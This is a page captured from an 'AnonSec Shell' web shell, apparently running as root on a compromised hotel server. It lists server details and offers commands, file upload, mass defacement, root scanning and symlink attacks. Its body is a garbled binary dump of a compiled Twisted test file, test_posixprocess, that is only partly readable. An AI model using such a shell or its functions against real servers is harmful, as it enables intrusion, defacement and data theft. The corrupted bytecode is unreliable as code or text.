AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/internet/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/internet/test/__pycache__/test_posixprocess.cpython-310.pyc
o

�b�+�@s�UdZddlZddlZddlZddlmZeeed<zddlZWne	y,dZ
Yn	wddlmZdZ
ddl
mZGdd	�d	�ZGd
d�d�ZGdd
�d
e�ZGdd�de�ZdS)z;
Tests for POSIX-based L{IReactorProcess} implementations.
�N)�Optional�platformSkipznon-POSIX platform)�process)�TestCasec@s0eZdZdZdd�Zdd�Zdd�Zdd	�Zd
S)�FakeFilez>
    A dummy file object which records when it is closed.
    cCs||_||_dS�N)�testcase�fd)�selfrr	�r�I/usr/lib/python3/dist-packages/twisted/internet/test/test_posixprocess.py�__init__ s
zFakeFile.__init__cCs|jj�|j�dSr)r�_files�remover	�r
rrr�close$szFakeFile.closecCs|Srrrrrr�	__enter__'szFakeFile.__enter__cCs|��dSr)r)r
�exc_type�	exc_value�	tracebackrrr�__exit__*szFakeFile.__exit__N)�__name__�
__module__�__qualname__�__doc__r
rrrrrrrrsrc@s$eZdZdZdZdd�Zdd�ZdS)�FakeResourceModulez�
    Fake version of L{resource} which hard-codes a particular rlimit for maximum
    open files.

    @ivar _limit: The value to return for the hard limit of number of open files.
    �cCs
||_dSr)�_limit�r
�limitrrrr
8s
zFakeResourceModule.__init__cCs||jkr
d|jgSddgS)zX
        A fake of L{resource.getrlimit} which returns a pre-determined result.
        r�{i�)�
RLIMIT_NOFILEr)r
�norrr�	getrlimit;s

zFakeResourceModule.getrlimitN)rrrrr!r
r#rrrrr.s
rc@s�eZdZdZeZdZdZdZdd�Z	dd�Z
dd�Zd	d
�Zdd�Z
d
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�ZdS) �FDDetectorTestsa�
    Tests for _FDDetector class in twisted.internet.process, which detects
    which function to drop in place for the _listOpenFDs method.

    @ivar devfs: A flag indicating whether the filesystem fake will indicate
        that /dev/fd exists.

    @ivar accurateDevFDResults: A flag indicating whether the /dev/fd fake
        returns accurate open file information.

    @ivar procfs: A flag indicating whether the filesystem fake will indicate
        that /proc/<pid>/fd exists.
    FcCsdS)z>
        Fake os.getpid, always return the same thing
        r rrrrr�getpidZszFDDetectorTests.getpidcCsNtt|j�}|jr|d|��fkr|S|jr$|dkr$|jr |Sgd�St��)z�
        Fake os.listdir, depending on what mode we're in to simulate behaviour.

        @param arg: the directory to list
        z/proc/%d/fdz/dev/fd)�0�1�2)�map�strr�procfsr%�devfs�accurateDevFDResults�OSError)r
�arg�accuraterrr�listdir`szFDDetectorTests.listdircCs2t|tttd��t|j���}|j�|j�|S)aO
        This is a mock for L{open}.  It keeps track of opened files so extra
        descriptors can be returned from the mock for L{os.listdir} when used on
        one of the list-of-filedescriptors directories.

        A L{FakeFile} is returned which can be closed to remove the new
        descriptor from the open list.
        �)r�min�set�ranger�appendr	)r
�fname�mode�frrr�openfileos 
zFDDetectorTests.openfilecCsdtjd<dS)zp
        Make the L{resource} module unimportable for the remainder of the
        current test method.
        N�resource)�sys�modulesrrrr�hideResourceModule}sz"FDDetectorTests.hideResourceModulecCst|�tjd<dS)a
        Make a L{FakeResourceModule} instance importable at the L{resource}
        name.

        @param limit: The value which will be returned for the hard limit of
            number of open files by the fake resource module's C{getrlimit}
            function.
        r;N)rr<r=rrrr�revealResourceModule�s	z$FDDetectorTests.revealResourceModulecCs:|durztjd=WdStyYdSw|tjd<dS)zI
        Restore the original resource module to L{sys.modules}.
        Nr;)r<r=�KeyError)r
�valuerrr�replaceResourceModule�s�z%FDDetectorTests.replaceResourceModulecCsLt��|_|j|j_|j|j_|j|j_gd�|_|�|jt	j
�d��dS)z�
        Set up the tests, giving ourselves a detector object to play with and
        setting up its testable knobs to refer to our mocked versions.
        �rr�r;N)r�_FDDetector�detectorr1r%r:r�
addCleanuprBr<r=�getrrrr�setUp�s




zFDDetectorTests.setUpcs@dd�}dd�}�fdd�}|||g�j_��|�j���dS)z�
        L{FDDetector._getImplementation} returns the first method from its
        C{_implementations} list which returns results which reflect a newly
        opened file descriptor.
        cSstd��)NzThis does not work)�
ValueErrorrrrr�failWithException��zBFDDetectorTests.test_selectFirstWorking.<locals>.failWithExceptioncS�gd�S�NrCrrrrr�failWithWrongResults�rLzEFDDetectorTests.test_selectFirstWorking.<locals>.failWithWrongResultscs�jdd�Sr)rrrrr�correct�sz8FDDetectorTests.test_selectFirstWorking.<locals>.correctN�rF�_implementations�assertIs�_getImplementation)r
rKrOrPrrr�test_selectFirstWorking�s�z'FDDetectorTests.test_selectFirstWorkingcCs2dd�}dd�}||g|j_|�||j���dS)z�
        L{FDDetector._getImplementation} returns the last method from its
        C{_implementations} list if none of the implementations manage to return
        results which reflect a newly opened file descriptor.
        cSrM)N)���	rrrrrrO�rLz=FDDetectorTests.test_selectLast.<locals>.failWithWrongResultscSrMrNrrrrr�failWithOtherWrongResults�rLzBFDDetectorTests.test_selectLast.<locals>.failWithOtherWrongResultsNrQ)r
rOrYrrr�test_selectLast�s�zFDDetectorTests.test_selectLastcCsLt��}|jj}|��|jj}|��|jj}|�||�|�||�dS)z�
        Check that the identity of _listOpenFDs changes after running
        _listOpenFDs the first time, but not after the second time it's run.

        In other words, check that the monkey patching actually works.
        N)rrE�_listOpenFDsr�assertNotEqual�assertEqual)r
rF�first�second�thirdrrr�!test_identityOfListOpenFDsChanges�sz1FDDetectorTests.test_identityOfListOpenFDsChangescCs<d|_|�t|jj�d|_d|_|�gd�|j���dS)z�
        L{_FDDetector._devFDImplementation} raises L{OSError} if there is no
        I{/dev/fd} directory, otherwise it returns the basenames of its children
        interpreted as integers.
        FTrCN)r,�assertRaisesr.rF�_devFDImplementationr-r]rrrr�test_devFDImplementation�s
z(FDDetectorTests.test_devFDImplementationcCs6d|_|�t|jj�d|_|�gd�|j���dS)z�
        L{_FDDetector._procFDImplementation} raises L{OSError} if there is no
        I{/proc/<pid>/fd} directory, otherwise it returns the basenames of its
        children interpreted as integers.
        FTrCN)r+rbr.rF�_procFDImplementationr]rrrr�test_procFDImplementation�sz)FDDetectorTests.test_procFDImplementationcCsT|�d�|�ttd��t|j����|�d�|�ttd��t|j����dS)z�
        L{_FDDetector._fallbackFDImplementation} uses the L{resource} module if
        it is available, returning a range of integers from 0 to the
        minimum of C{1024} and the hard I{NOFILE} limit.
        iir2N)r?r]�listr5rF�_fallbackFDImplementationrrrr�test_resourceFDImplementation�s
�
�z-FDDetectorTests.test_resourceFDImplementationcCs*|��|�ttd��t|j����dS)z�
        L{_FDDetector._fallbackFDImplementation}, the implementation of last
        resort, succeeds with a fixed range of integers from 0 to 1024 when the
        L{resource} module is not importable.
        r2N)r>r]rgr5rFrhrrrr�test_fallbackFDImplementations�z-FDDetectorTests.test_fallbackFDImplementationN)rrrrr�skipr,r-r+r%r1r:r>r?rBrIrUrZrardrfrirjrrrrr$Ds(r$c@s$eZdZdZeZdd�Zdd�ZdS)�FileDescriptorTestsz<
    Tests for L{twisted.internet.process._listOpenFDs}
    cCsdt��D]+}z	t�|tj�Wqty/}z|�tj|jd||jf�WYd}~qd}~wwdS)z�
        File descriptors returned by L{_listOpenFDs} are mostly open.

        This test assumes that zero-legth writes fail with EBADF on closed
        file descriptors.
        z2fcntl(%d, F_GETFL) failed with unexpected errno %dN)rr[�fcntl�F_GETFLr.r]�errno�EBADF)r
r	�errrrr�test_openFDs"s�����z FileDescriptorTests.test_openFDsc	Cs�ttj�}t��}|�|��|�t�|���}|�||��kd�z|�	�|�|t���Wt�	|�nt�	|�w|�
|t���dS)zB
        L{_listOpenFDs} lists expected file descriptors.
        z>Expected duplicate file descriptor to be greater than originalN)�open�os�devnullrr[�assertIn�fileno�dup�
assertTruer�assertNotIn)r
r9�openfdsr	rrr�test_expectedFDs4s

�z$FileDescriptorTests.test_expectedFDsN)rrrrrrkrrr|rrrrrls
rl)rrortr<�typingrr*�__annotations__rm�ImportErrorr�twisted.internetr�twisted.trial.unittestrrrr$rlrrrr�<module>s&�X

Anon7 - 2022
AnonSec Team